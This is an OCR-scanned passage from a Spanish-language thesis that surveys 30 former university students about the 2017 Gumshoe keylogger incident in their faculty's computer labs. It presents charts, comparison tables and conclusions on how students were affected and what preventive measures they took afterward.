Aunqgue en las gréaficas se muestra que el navegador preferente de los alumnos
eran Chrome con un 83.3% de uso de la muestra a la cual se les aplico los

cuestionarios.

106



Figura 27 - Gréfica 15

¢ Cual de los siguientes navegadores utilizabas dentro de los laboratorios del CIFCA?

0/30 respuestas correctas
Chrome. 25(83.3 %)
Internet Explorer. 0 (0 %)
Firefox. 4 (13.3 %)

Microsoft Edge. 1 (3.3 %)

Elaboracién Propia

No muchos alumnos fueron atacados, debido a que solo el 33.3% utilizaba con
frecuencia los laboratorios del CIFCA. Se debe recordar que este navegador, es

en el cual se realizaba la instalacion de Gumshoe.

Figura 28 - Gréfica 16

¢Utilizabas con frecuencia los equipos de computo dentro del laboratorio del CIFCA (2 veces por

semana o mas)?
0/30 respuestas correctas

Si. 10 (33.3 %)

No. 20 (66.7 %)

Elaboracion Propia

La conclusion que se obtiene después de analizar los datos anteriores muestra
gue las dos personas vulneradas, tuvieron afectaciones familiares vy
sentimentales, por la divulgacion de fotos, videos o conversaciones en sitios web
o almacenamiento en la nube, que no eran de su consentimiento ni conocimiento.
Si bien la afectacion no abarc6 a muchas personas de la muestra, las
consecuencias pudieron ser perjudiciales para las victimas.
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Pese a que los docentes no mostraron tener la iniciativa de ayudar a los alumnos
involucrados en esta afectacion, el contenido del reglamento mostrado en
paginas anteriores argumenta que no se debe de acceder a sitios como redes
sociales, regla que no todos los alumnos acataban, por lo que los docentes no
tenian responsabilidad alguna de ayudar. Es importante mencionar que seguir
los reglamentos es importante para evitar afectaciones de este tipo.

4. 4.3 Resultados Tercer Cuestionario

Para terminar con los cuestionarios realizados, se presenta a continuacion los
resultados del formulario tres, el cual hace cuestionamientos acerca de las
medidas preventivas que tomao la comunidad estudiantil posterior al incidente con
el Malware Gumshoe.

Este formulario informa sobre la respuesta que tuvieron los alumnos y los
docentes ante este ataque y si hubo mayor seguridad en las aulas de computo,

demostrando lo siguiente:

El 73.3% de los ex alumnos de administracion comentaron que nadie les habia
informado sobre lo ocurrido, mientras sucedia el incidente del Malware

Gumshoe, dentro del segmento seleccionado.

Figura 29 - Grafica 17

:Te enteraste de lo ocurrido con el Malware Gumshoe mientras ocurria el incidente?

30 respuestas

® si.
® No.

Elaboracién Propia

También se cuestiono6 sobre si habian tomado alguna medida extra de proteccion

posterior al ciberataque, mientras usaban equipos que no eran propiedad de
108



ellos, como borrar su historial o usar la opcion de incognito en el navegador y el
33.3% menciond que si, mientras que el 23.3% comentd que no, sefalando de
esta forma que el mayor porcentaje de ex alumnos no se enteré nunca de la

situacion con un 43.3%.

Figura 30 - Gréfica 18

¢ Tomaste alguna precaucién extra como borrar el historial o usar la opcién incognito del navegador,
después de lo ocurrido?

30 respuestas

® si.
@ No.

Nunca me enteré.

Elaboracién Propia

Se solicitoé informacién sobre si cambiaron su contrasefia posterior a lo ocurrido
y el 30% no lo hizo, el 26.7% la cambid, por ultimo el 43.3%, nunca se entero.

Figura 31 - Gréfica 19

¢Cambiaste tu contrasena, después de lo ocurrido?

30 respuestas

@ si.
® No.

Nunca me enteré.

Elaboracién Propia

El mismo porcentaje obtenido al cuestionar sobre si se volvieron a ingresar a sus
redes sociales o plataformas educativas en computadoras de los laboratorios,
aungue con estos datos se puede observar que el 53.3% no volvio a ingresar a
sus redes sin ser precavido, solo el 3.3% lo volvid a hacer sin ninguna

precaucion.
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Figura 32 - Gréfica 20

¢Al saber sobre este hecho, volviste a ingresar a tus redes sociales o plataforma educativa sin
ninguna proteccién y/o prevencion?
30 respuestas

® si.
@ No.

@ Nunca me enteré.

Elaboracion Propia

Otra pregunta importante que se realizo fue si usaron alguna herramienta de
autenticacion extra en sus redes sociales y si también monitoreaban desde sus
dispositivos, si a alguien no autorizado accedia a sus cuentas de redes
personales, siendo porcentajes iguales debido a que el 40% comenté que no lo
hizo, contra un 16.7% que se preocupl por tener mas seguros sus medios
sociales y al igual que en las otras preguntas el 43.3% nunca se entero.

Figura 33 - Gréfica 21

¢Utilizaste alguna de las herramientas de autenticacién que poseen tus redes sociales para prevenir
el acceso a intrusos, después de lo ocurrido?

30 respuestas

® si
@ No.

@ Nunca me enteré.

Elaboracién Propia
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Figura 34 - Gréfica 22

Con las herramientas de tus redes sociales ;Monitoreabas desde que dispositivos se accedian a
ellas, después de lo ocurrido?

30 respuestas

@ si.
@ No.

@ Nunca me enteré.

Elaboracién Propia

La siguiente pregunta busca obtener informacion sobre si las personas que
supieron de este hecho buscaron informacion, para prevenirse y evitar el acceso

a sus redes sociales, respondiendo que sdlo el 13.3% buscé mayor informacion

al respecto.

Figura 35 - Gréfica 23

iDespués de lo ocurrido, buscaste informacion para prevenir el acceso a tus redes sociales o
plataforma educativa?

30 respuestas

® si.
@ No.

@ Nunca me enteré.

Elaboracion Propia

El 25% de los 4 alumnos que buscaron mayor informacion, la obtuvo mediante
un amigo, el otro 25% se acerco con un docente y el 50% fue a encontrar datos

en internet.
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Figura 36 - Gréfica 24

Si respondiste de forma afirmativa a la pregunta anterior, contesta: ;De donde obtuviste la
informacion para prevenir de nuevo un acceso a tus redes sociales o plataforma educativa?

4 respuestas

@ Obtuviste informacién por medio de un
docente.

@ Obtuviste informacion por medio de un
docente especializado en temas de
seguridad informatica.

@ Obtuviste informacién en internet.

@ Obtuviste informacion por medio de un
amigo.

@ Obtuviste informacién por medio de un
amigo que sabia de temas de segurid...

Elaboracion Propia

Se pregunté a los alumnos, si comentaron lo ocurrido con algun grupo de su
confianza y obviando el 43.3% de personas que no se enteraron del suceso,
6.7% se acercd con un docente, 26.7% hablaron con sus amigos, el 10%

comentaron con su familia y el 13.3% no buscaron hablar al respecto.

Figura 37 - Gréfica 25

¢Comentaste lo sucedido con alguien?
30 respuestas

@ Familia.

@ Amigos.

@ Docente.

@ Nunca me enteré.
@ Otro

Elaboraciéon Propia

La grafica siguiente informa sobre los alumnos que conocieron a algun
compafiero que fue afectado por el Malware, de los cuales el 80% coment6 que
no conocian a nadie, pero un 20% mencionaron que si sabian de alguien a quien

le ocurrio.
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Figura 38 - Gréfica 26

¢Conociste algun otro companiero que fuera afectado por alguin tipo de malware como el

mencionado anteriormente?
30 respuestas

® si.
@ No.

Elaboracion Propia

Otra pregunta importante para esta tesis es saber si los alumnos percibieron,
algun cambio en el reglamento o implementacién de una nueva medida de
prevencion contra ciberataques en el CIFCA, el 93.3% coment6 que no tenian
conocimiento sobre alguna nueva medida, sin embargo el 6.7% de alumnos

mencionaron que ninguna medida fue implementada.

Figura 39 - Gréfica 27

¢Sabes si en los laboratorios del CIFCA se tomaron medidas preventivas después de lo ocurrido
con el Malware Gumshoe?

30 respuestas

® si.
@ No.

T

Elaboracion Propia
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Figura 40 - Gréfica 28

Si respondiste de forma afirmativa a la anterior pregunta, contesta: ; Cudles fueron esas medidas

preventivas que tomaron los laboratorios del CIFCA, después de lo ocurrido con el Malware Gumshoe?
2 respuestas

@ Lista negra mediante software, de sitios
a los cuales no se podian acceder.

@ Solo instrucciones verbales de los sitios
a los cuales no se podian acceder.

Se madifico el reglamentd de los
laboratorios del CIFCA.

@ Monitorear lo que se realizaba en los...
@ Se evitd la descarga de cualquier cont...
@ Ninguna.

@® Otra.

Elaboracién Propia

Finalmente como conclusion sobre este ultimo cuestionario que informa sobre si
la comunidad de la FCA tomé algunas medidas de proteccion posteriores al
suceso Yy la respuesta es que solo los alumnos fueron concientizados sobre
prevenirse de estas situaciones, también cabe destacar que pocos se enteraron,
pero una muy baja porcién de la muestra, decidié buscar algun otro método mas
eficaz para evitar ser vulnerado, aunque si bien varios alumnos comentaron que
a partir del suceso, prefirieron solo ingresar a sus medios sociales y/o
plataformas educativas mediante sus propios dispositivos, aun falta construir

informacion, para prevenirse o saber qué hacer ante estas situaciones.

Anexo a esto, es probable que el CIFCA no haya tomado ninguna medida extra
de proteccion debido a que los alumnos contestaron que no se les habia
informado nada al respecto o que solo habian vuelto a recibir instrucciones

verbales para no acceder a sitios que no fueran del interés de la clase.
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Conclusiones

Como conclusion a este trabajo, se menciona que la seguridad informatica debe
ser relevante para los estudiantes e instituciones, no solo por los riesgos que
representa el no tener conocimientos sobre este tema, sino, también por la
importante evolucién y grandes cambios que hace dentro de nuestro &mbito, la
mayor parte de la poblacion ocupa la tecnologia para diferentes fines, los cuales
pueden dar ventajas o desventajas, el fin de este trabajo como tal, es hablar
sobre la manera en como se puede acceder a todas las ventajas, siendo
precavidos y también teniendo un conocimiento basico sobre los percances que
pueden ocurrir y buscar mitigarlos, evitarlos o disminuirlos, mediante la

informacion dada.

Considerando las preguntas generadas en esta investigacién se responderan
primero las dos cuestiones secundarias, con el fin de llegar a una conclusion al
encontrar la interrogante principal de este trabajo, por lo que en atencion a la
pregunta de investigacion sobre ¢Qué conocimiento poseian los alumnos de
ultimo semestre de la carrera de administraciéon de la Facultad de Contaduria'y
Administracién sobre prevencion de ataques cibernéticos en el afio 201772, se
puede concluir que la mayoria de alumnos tenian un conocimiento escaso
sobre como prevenirse de ciberataques, debido a que en las respuestas dadas
s6lo 1 alumno de 30 contesto6 acertando los 10 puntos que tenia el cuestionario,
mientras que los restantes obtuvieron un promedio de 3.4, por lo cual se
considera que tenian un entendimiento bajo a cuestiones basicas sobre este
tema (Las gréficas logradas a partir de los datos obtenidos de los ex alumnos

pueden ser encontradas en el anexo del primer cuestionario).
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Figura 19 - Gréfica 7

Promedio Mediana Rango
34710 puntos 3 /10 puntos 0-10 puntos

Distribucion de puntos totales

# dfe wsuarios que
esponderon
(=] £ey o [==] r;‘?

0 1 2 3 4 5 6 7 8 9 10
Puntuacion lograda

Elaboracién Propia

Para responder a la siguiente pregunta secundaria ¢ La comunidad de la Facultad
de Contaduria y Administracion en el afio 2017 tomé medidas para evitar seguir
siendo vulnerados por el malware?, se decidio facilitar la visualizacion de los
datos, mediante tablas comparativas, donde se observo lo siguiente:

El total de la muestra, estudiada fue de 30 personas, de los cuales, 25 alumnos
usaban preferentemente el navegador Chrome, en el cual la extension Gumshoe
era instalada facilmente, esto es una sefial alarmante por la cantidad de

estudiantes que pudieron ser afectados.

Figura 27 - Gréfica 15

¢Cual de los siguientes navegadores utilizabas dentro de los laboratorios del CIFCA?
0/30 respuestas correctas

Chrome. 25 (83.3 %)
Internet Explorer. 0 (0 %)
Firefox. 4 (13.3 %)
Microsoft Edge. 1(3.3 %)
0 5 10 15 20 25

Elaboracién Propia

Aunque también se debe de tomar en cuenta la porcion de alumnos que usaba

con frecuencia los laboratorios, esto es un punto de suma importancia, ya que al
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revisar la gréafica, donde se pregunta si la frecuencia de uso de los laboratorios
era 2 veces por semana 0 mas, se puede observar que la mayoria de alumnos
comentaron que no utilizaban con frecuencia los laboratorios, dicha utilizacion
era por 10 personas, esto aunque no se vea como un numero tan alto, esto
equivale a la tercera parte de la muestra de 30 ex alumnos, siendo relevante

para la informacion compartida en este trabajo.

Figura 28 - Gréfica 16

¢Utilizabas con frecuencia los equipos de computo dentro del laboratorio del CIFCA (2 veces por

semana o més)?
0/30 respuestas correctas

Si. 10 (33.3 %)

No. 20 (66.7 %)

Elaboracién Propia

Con estos datos se crea la tabla comparativa entre toda la poblacion
seleccionada que realiz6 los cuestionarios, los alumnos que utilizaban el
navegador Chrome como navegador preferente y los alumnos que utilizaban con

frecuencia los laboratorios de computo.

TABLA 7

Total Porcentaje Alumnos que  Porcentaje Alumnos que Porcentaje

Muestra (%) Usaban el (%) Usaban con (%)
(n) Navegador Frecuencia
Chrome (n) los
Laboratorios
(n)
30 100% 25 83.3% 10 33.3%

Fuente: Elaboracion Propia

En la siguiente tabla, también se decidié establecer una comparacion entre los
estudiantes que tomaban clase en la Facultad de Contaduria y Administracion,

que se enteraron durante el incidente del malware, las personas que se
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enteraron posterior a la vulneracion y las que nunca se enteraron. Se puede
sefalar que no toda la muestra estaba enterada del suceso, solo 8 personas

percibieron el incidente y otras 9 mas se enteraron posteriormente.

TABLA 8

Personas
Enteradas del
Malware Durante 8
el Incidente (n)

Porcentaje (%)

26.7%

Personas
Enteradas del
Malware Después 9 Porcentaje (%) 30%
del Incidente (n)

Total Personas 17 Porcentaje (%) 56.7%
Enteradas (n)

Personas que
Nunca se 13 Porcentaje (%) 43.3%
Enteraron del
Incidente(n)

Fuente: Elaboracién Propia

Como se puede observar en la tabla comparativa, en total fueron 17 personas
gue tuvieron conocimiento del suceso, por lo que se toma este niumero para
calcular y sacar la muestra verdadera de ex alumnos que cambiaron su
comportamiento ante el riesgo de sufrir un ataque de esta indole, lo cual ayudara
a dar una contestacibn mas exacta a la pregunta mencionada anteriormente,
tomando en cuenta que asi el porcentaje del 100%, ya no equivaldria al total de
la muestra a la cual se le aplicaron los cuestionarios, ahora este 100%
equivaldria a estos 17 ex alumnos, a causa de que estos son los estudiantes que
competen para realizar el paralelismo de los que cambiaron ciertos

comportamientos y los que no lo hicieron.

TABLA 9
Total Personas Porcentaje (%) 100%
Enteradas (n)
Uso de
Dispositivos Porcentaje (%) 47%
Propios Antes del
Incidente (n)

Uso de

Dispositivos Porcentaje (%) 70.6%
Propios Después
del Incidente (n)

Cambio de

Contraseia Porcentaje (%) 47%
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Después del
Incidente (n)
Personas que
Tomaron una
Precaucion Extra
Después del
Incidente (n)
Uso de Alguna

10 Porcentaje (%) 58.9%

Herramienta
Después del
Incidente (n)
Siguen Usando
Alguna Medida
Q)
Personas que
Conocieron
Alguna Victima

)

Fuente: Elaboracién Propia

5 Porcentaje (%) 29.4%

11 Porcentaje (%) 64.7%

6 Porcentaje (%) 35.2 %

De la anterior comparativa se observa que los estudiantes que utilizaban
preferentemente sus dispositivos para acceder a sus medios sociales y/o
plataformas educativas, eran 8, al pasar el suceso, este nimero aumento y se
sumaron 4 personas mas, dando un total de 12 ex alumnos que tomaron en
cuenta los riesgos que tenia el utilizar otro equipo que no fuera el propio.

A si mismo esta tabla sefala los 8 escolares que para evitar ser vulnerados,
cambiaron su contrasefa, lo cual es una idea muy buena, ya que el keylogger
funcionaba Unicamente guardando usuarios y contrasefias, al realizar este
cambio, el atacante, ya no tenia el medio por el cual ingresar a las redes sociales,

ni a las plataformas.

En la siguiente fila posterior al cambio de contrasefia en la comparativa, se
observa que 10 personas tomaron las precauciones extras de borrar el historial
de navegaciéon o usar la opcién incognito que brinda el navegador, para evitar
que los sitios WEB consultados se guarden en la navegacion, de la misma forma
gue las credenciales.

Aungue esto parece ser una opcion positiva ante la vulnerabilidad que presenta
el malware, podria ser aceptada dentro de los criterios de precaucion, mas no es
lo adecuado, ya que Gumshoe, tenia la opcidn de ser capaz de guardar las
credenciales, aunque se utilizara la opcidén de abrir una pestafa en incognito, por
lo que esta medida no funcionaria, tampoco el sélo borrar el historial, ya que no
implicaba que el cédigo malicioso borrara la informacién obtenida.
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Las medidas no son malas, de hecho si se usan en complemento con otras,
suelen evitar que los usuarios pueden ser rastreados o que se recaben datos de
sus habitos frente al uso de las maquinas, aunque este no es el caso, ya que en
un equipo de laboratorio, hay muchos datos de diferentes personas y no aplicaria

para la situacion comentada.

Otro dato relevante, que se encuentra en la sexta fila de la tabla, que aborda el

uso de alguna otra herramienta después del hecho, como lo son:

e Autenticacion en dos fases.
e Autenticacion facial.

e Monitoreo de dispositivos que acceden a las plataformas.

Fue utilizado por 5 personas, haciendo interesante el dato, que se presenta, ya
gue estos métodos realmente harian una diferencia si su uso fuera incluido por
mas gente, de esta forma para atacar la plataforma social o educativa de alguien,
se tendria que ser muy especifico o tener muchos datos de la victima, para
considerarse una amenaza, solo por lo complicado que podria ser para un
victimario el tener el acceso a los medios con los cuales cumplir las condiciones
extras de autenticacion. Esta medida seria de gran ayuda si se busca una

proteccién mayor.

Haciendo un recuento de todos los procedimientos que los ex alumnos tuvieron
qgue adoptar posterior al suceso con el malware, para evitar ser comprometidos
la medida que fue asimilada por mas personas fue la del uso de dispositivos
propiedad del usuario y si, es un método muy acertado y simple, las Unicas
consideraciones que se tendrian que tomar serian, el evitar que personas que
ajenas a su propietario tengan acceso al celular y evitar guardar informacién que
pueda ser sensible, como contrasefias, fotos, videos y conversaciones privadas.
Solo como dato informativo se comenta que 11 de estos 17 alumnos, siguen
tomando alguna medida, como las mencionadas anteriormente, hasta este afo,

para evitar cualquier circunstancia que dé posibilidad a un ataque.
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En continuacion con la respuesta a esta pregunta secundaria, las mayoria de
estudiantes mencionaron que no se realizé ningun cambio en el reglamento, ni
tampoco se agreg6 alguna medida preventiva en los laboratorios del CIFCA en
el afio 2017, unicamente las mismas instrucciones verbales de los sitios a los

cuales no se podian acceder, como se puede observar en las siguientes graficas.

Figura 39 - Gréfica 27

;Sabes si en los laboratorios del CIFCA se tomaron medidas preventivas después de lo ocurrido

con el Malware Gumshoe?
30 respuestas

@ si.
@ No.

Ty

Elaboracién Propia

Figura 40 - Grafica 28

Si respondiste de forma afirmativa a la anterior pregunta, contesta: ; Cudles fueron esas medidas
preventivas que tomaron los laboratorios del CIFCA, después de lo ocurrido con el Malware Gumshoe?

2 respuestas

@ Lista negra mediante software, de sitios
a los cuales no se podian acceder.

@ Solo instrucciones verbales de los sitios
a los cuales no se podian acceder.

Se medifico el reglamento de los
laboratorios del CIFCA.

@ Monitorear lo que se realizaba en los...
@ Se evitd la descarga de cualquier cont...
@ Ninguna.

@ Otra.

Elaboracion Propia

Otro dato importante que se puede ver en la tabla comparativa niamero 9,
proporciona informacion en la cual 6 estudiantes pudieron percibir debido a
diversos indicios, que alguien mas tenia acceso a sus redes sociales, aunque no
mencionaron sufrir ninguna afectacion, como las descritas anteriormente, sin
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embargo esta percepcion, también se considera un ataque, ya que espia a las
informacion de los usuarios de plataformas sociales o educativas.

Resumiendo los datos proporcionados en respuesta a la pregunta ¢lLa
comunidad de la Facultad de Contaduria y Administracion en el afio 2017 tomo
medidas para evitar seguir siendo vulnerados por el malware?, en las graficas
se aprecia que solo los estudiantes tomaron medidas para evitar seguir siendo

vulnerados, estos métodos, fueron los siguientes:

o Cambio de contrasena.

o Uso de alguna herramienta para monitorear la sesion de ingreso en
sus redes sociales.

« Evitar usar dispositivos ajenos y si estos son usados borrar historial o
usar la opcién incognito del navegador.

Abordando la pregunta principal de esta tesis acerca de ¢Cuales fueron los
efectos generados por el Malware Gumshoe a los alumnos de Ultimo semestre
de la carrera de administracion en el afio 2017 de la Facultad de Contaduria y
Administracion?, se puede comentar que, los efectos generados por el Malware
Gumshoe, fueron encontrados en un proporcion pequefia en el segmento de
poblacion seleccionado a los cuales se les aplicaron los cuestionarios, 2
personas de la poblacion total de 30, expresaron haber encontrado fotos, videos
0 conversaciones sensibles suyas en sitios de almacenamiento en la nube, sin
poder evitar su propagacién. De estas dos personas afectadas, la primera

padeci6 problemas familiares y la segunda tuvo problemas sentimentales.

| TABLA 10

30 100% 2 6.7% 6 20%

’ Fuente: Elaboracién Propia ‘

Es claro que ninguno de los alumnos que fue vulnerado pudo evitar que sus
datos sensibles siguieran en la red, al menos durante el incidente ocurrido, ya
gue comentaron gue aungue se acercaron a algun docente para recibir apoyo,

no recibieron la ayuda requerida.
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Figura 41 - Gréfica 29

Si respondiste de forma afirmativa a la pregunta anterior, contesta: ;Le dio solucién a tu problema?
O ¢ Te ayudo de alguna forma?

2 respuestas

® si.
@ No.

Elaboracién Propia

Por dltimo, resumiendo todos los sucesos descritos anteriormente y los datos
recabados gracias a ex alumnos y para dar una respuesta a la hipotesis
planteada en el inicio de este trabajo, se puede contestar que es correcta, los
efectos generados por el Malware Gumshoe a los alumnos de Ultimo semestre
de la carrera de administracion en el afio 2017 de la Facultad de Contaduria y

Administracion han sido el robo y la exposicion de informacion sensible.

Es importante sefalar la gran ensefianza que deja esta situacion donde se
pueden encontrar diversos factores que la propiciaron, como por ejemplo el
desconocimiento por parte de la poblacion estudiantil sobre malware, a su vez
se suma la falta de importancia que los alumnos le dan al reglamento donde se
prohibe el uso de los equipos para cualquier otra actividad, que no pertenezca al
tema de la clase y también la falta de mantenimiento, por parte del equipo de
soporte del CIFCA, el cual es esencial para que los equipos funcionen
apropiadamente, ya que en esta facultad conviven varias carreras, que tienen

necesidades especificas y diferentes.

Este trabajé intentd abordar el tema de los malware con énfasis en los
keylogger de una forma sencilla, la cual busca informar a la comunidad
estudiantil y si puede llegar a mas personas, con el fin de concientizarlas y
hacer notar que no muchas veces basta con una contrasefia, se deben de

incluir métodos de seguridad mas robustos, aunque también dependiendo de
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la informacion que posean los duefios de los dispositivos y que tan importante

sea para ellos.

Lamentablemente no todas las personas tienen esta percepcion de cuidar su
informacion en la red, hasta hace no mucho, cuando el internet aun no era
considerado un medio de comunica, ni un medio de busquedas importante,
siempre se hacia el comentario necesario en el cual se mencionaba que no se
debia confiar en extrafios encontrados en la WEB y tener precaucion con los
datos subidos, de hecho, las compras en Internet, no eran muy comunes, se

consideraban arriesgadas.

Hoy en dia estos consejos o comentarios ya no son tomados en cuenta, las
personas en general muestran su vida en todas las plataformas que poseen y
suben datos sin mucho control, tan s6lo mencionar el articulo de la joven, la
cual su informacion sensible fue vulnerada y subida a la nube, nadie hubiera
pensado que alguna persona pudiera obtener sus datos sensibles y hacerlos
publicos en medios de almacenamiento en linea, repercutiendo probablemente
no en el mismo afio donde fueron publicados, sino afios mas adelante, se
podria intentar imaginar en cuantos sitios puede estar esa informacion, incluso
se podria intentar bajar de la red, pero nunca se tendria la certeza si en verdad
desapareci6 de todos los sitios. Con esto no se quiere decir que no se compre
por internet o que no se usen o se compartan datos, simplemente se envia el
mensaje de tener precauciones y estar informados sobre las prevenciones y

riesgos que existen en el ciberespacio.
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